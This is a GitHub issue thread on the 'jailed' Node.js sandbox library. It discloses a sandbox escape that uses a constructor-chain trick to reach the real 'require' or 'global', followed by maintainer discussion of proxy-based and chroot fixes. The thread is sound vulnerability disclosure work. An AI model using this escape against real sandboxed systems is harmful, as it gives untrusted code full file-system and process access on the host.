asvd / jailed

execute untrusted code with custom permissions
MIT License
1.01k stars 69 forks source link

Node.js sandbox is broken #33

Open Ginden opened 8 years ago

Ginden commented 8 years ago

start.js file:

var jailed = require('../../../lib/jailed.js');
var api = {};
var plugin = new jailed.Plugin(__dirname + '/plugin.js', api);

plugin.js file:

var require = application.whenConnected.constructor('return process.mainModule.require')();
// do anything with true "require" here
asvd commented 8 years ago

wow, thanks. will investigate

asvd commented 8 years ago

What can one do here with the require() by the way? The point of the sandbox is to protect the main application.

Ginden commented 8 years ago

You can require('fs') or require('child_process') and do anything with full user permission (including dumping memory of application). You can require('http') and overwrite prototypes to track requests. Or anything else.

gpascualg commented 8 years ago

@Ginden Could you test #37 and see if any other method of breaking it exist? @asvd You could also do constructor('return global') and would have much more than require alone. Let me know if I can do something else on the PR ;)

asvd commented 8 years ago

Actually I was thinking about running a subprocess in a chrooted environment, and use an OS-level communication channel to avoid shared objects between parent and child processes :-)

gpascualg commented 8 years ago

If that subprocess was NodeJS, you would still have access to require, and that basically means to the complete system. The application itself would be safe, of couse, but it would still leave the system open I believe.

Btw, the proposed solution might have some perfomance impact, as it is creating Proxies at each call, Maybe keeping them in a dictionary or something alike would be best (I don't have the time now to do it, maybe in a few days).

asvd commented 8 years ago

On my opinion the performance impact is secondary as long as the sandbox is protected.

On security, I am only in doubt about getPrototypeOf() method which returns the prototype of an original object. Will need to check this.

gpascualg commented 8 years ago

Yes, I indeed haven't had time to test it. I barely tested the constructor based exploit. Some more extensive tests should be done. I might be able to do them in 1-2 weeks.

Ginden commented 8 years ago

Maybe you should reuse/fork Google Caja for this?

asvd commented 8 years ago

Caja is a separate project which works very differently (parses and evaluates code by itself). Users may choose it instead of Jailed of course.

tommitytom commented 8 years ago

Any potential solution to this issue been discovered?

lu4 commented 8 years ago

There's this library: https://www.npmjs.com/package/vm2

They seem to resolve this issue through usage of proxies

gpascualg commented 8 years ago

@lu4 that's basically what I did here: https://github.com/asvd/jailed/issues/37 It simply needs some exhaustive testing, which I sadly had no time to do (I checked the basic cases, ie. constructor, and it seemed to work).

zsf3 commented 4 years ago

is there any update on this issue?